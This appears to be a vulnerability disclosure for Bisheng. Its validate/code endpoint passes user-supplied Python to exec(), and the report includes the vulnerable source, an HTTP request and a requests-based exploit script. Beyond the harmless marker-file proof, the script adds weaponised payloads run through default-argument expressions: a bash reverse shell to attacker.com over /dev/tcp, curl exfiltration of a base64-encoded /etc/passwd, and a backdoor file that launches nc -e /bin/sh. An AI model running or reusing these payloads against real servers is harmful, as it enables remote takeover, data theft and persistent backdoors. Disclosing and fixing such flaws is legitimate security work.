Arbitrary Code Execution vulnerability in Bisheng

# src/backend/bisheng/api/v1/validate.py:13-23
@router.post('/code', status_code=200)
def post_validate_code(code: Code):
    try:
        errors = validate_code(code.code)  # User-controlled code passed directly
        return resp_200(
            CodeValidationResponse(
                imports=errors.get('imports', {}),
                function=errors.get('function', {}),
            ))
    except Exception as e:
        return HTTPException(status_code=500, detail=str(e))

# src/backend/bisheng/utils/validate.py:19-53
def validate_code(code):
    # Initialize the errors dictionary
    errors = {'imports': {'errors': []}, 'function': {'errors': []}}
    
    # Parse the code string into an abstract syntax tree (AST)
    try:
        tree = ast.parse(code)
    except Exception as e:
        errors['function']['errors'].append(str(e))
        return errors
    
    # Add a dummy type_ignores field to the AST
    add_type_ignores()
    tree.type_ignores = []
    
    # Evaluate the import statements
    for node in tree.body:
        if isinstance(node, ast.Import):
            for alias in node.names:
                try:
                    importlib.import_module(alias.name)
                except ModuleNotFoundError as e:
                    errors['imports']['errors'].append(str(e))
    
    # Evaluate the function definition
    for node in tree.body:
        if isinstance(node, ast.FunctionDef):
            code_obj = compile(ast.Module(body=[node], type_ignores=[]), '<string>', 'exec')
            try:
                exec(code_obj)  # VULNERABILITY: Executes user-controlled code
            except Exception as e:
                errors['function']['errors'].append(str(e))
    
    # Return the errors dictionary
    return errors

POST /api/v1/validate/code HTTP/1.1
Host: localhost:3001
Authorization: Bearer YOUR_TOKEN
Content-Type: application/json

{
  "code": "def malicious(x=open('/tmp/pwned','w').write('BISHENG_PWNED')): pass"
}

entry=POST /api/v1/validate/code
finding_target=src/backend/bisheng/api/v1/validate.py::post_validate_code
sink_target=src/backend/bisheng/utils/validate.py::validate_code -> exec(code_obj)
request_marker=BISHENG_VALIDATE_CODE_HTTP_POC
response_status=200
artifact_exists=True
artifact_content=BISHENG_VALIDATE_CODE_HTTP_POC
note=A real HTTP POST to /api/v1/validate/code forwarded attacker-controlled Python source into validate_code(); exec(code_obj) evaluated the default-argument expression at function-definition time and created the external marker file.

import requests

# Bisheng API endpoint
url = "http://localhost:3001/api/v1/validate/code"

# Malicious code with side effects in default parameter
malicious_code = """
def pwned(x=open('/tmp/BISHENG_PWNED', 'w').write('Code execution successful')):
    pass
"""

payload = {
    "code": malicious_code
}

# Authenticated request
headers = {
    'Authorization': 'Bearer YOUR_AUTH_TOKEN',
    'Content-Type': 'application/json'
}

response = requests.post(url, json=payload, headers=headers)
print(response.json())

# Reverse shell
malicious_code = """
def pwned(x=__import__('os').system('bash -c "bash -i >& /dev/tcp/attacker.com/4444 0>&1"')):
    pass
"""

# Data exfiltration
malicious_code = """
def pwned(x=__import__('subprocess').check_output('curl http://attacker.com/exfil?data=$(cat /etc/passwd | base64)', shell=True)):
    pass
"""

# Module hijacking
malicious_code = """
def pwned(x=open('/app/bisheng/api/backdoor.py', 'w').write('import os; os.system("nc -e /bin/sh attacker.com 4444")')):
    pass
"""

# Check if file was created
ls -la /tmp/BISHENG_PWNED
cat /tmp/BISHENG_PWNED
# Output: Code execution successful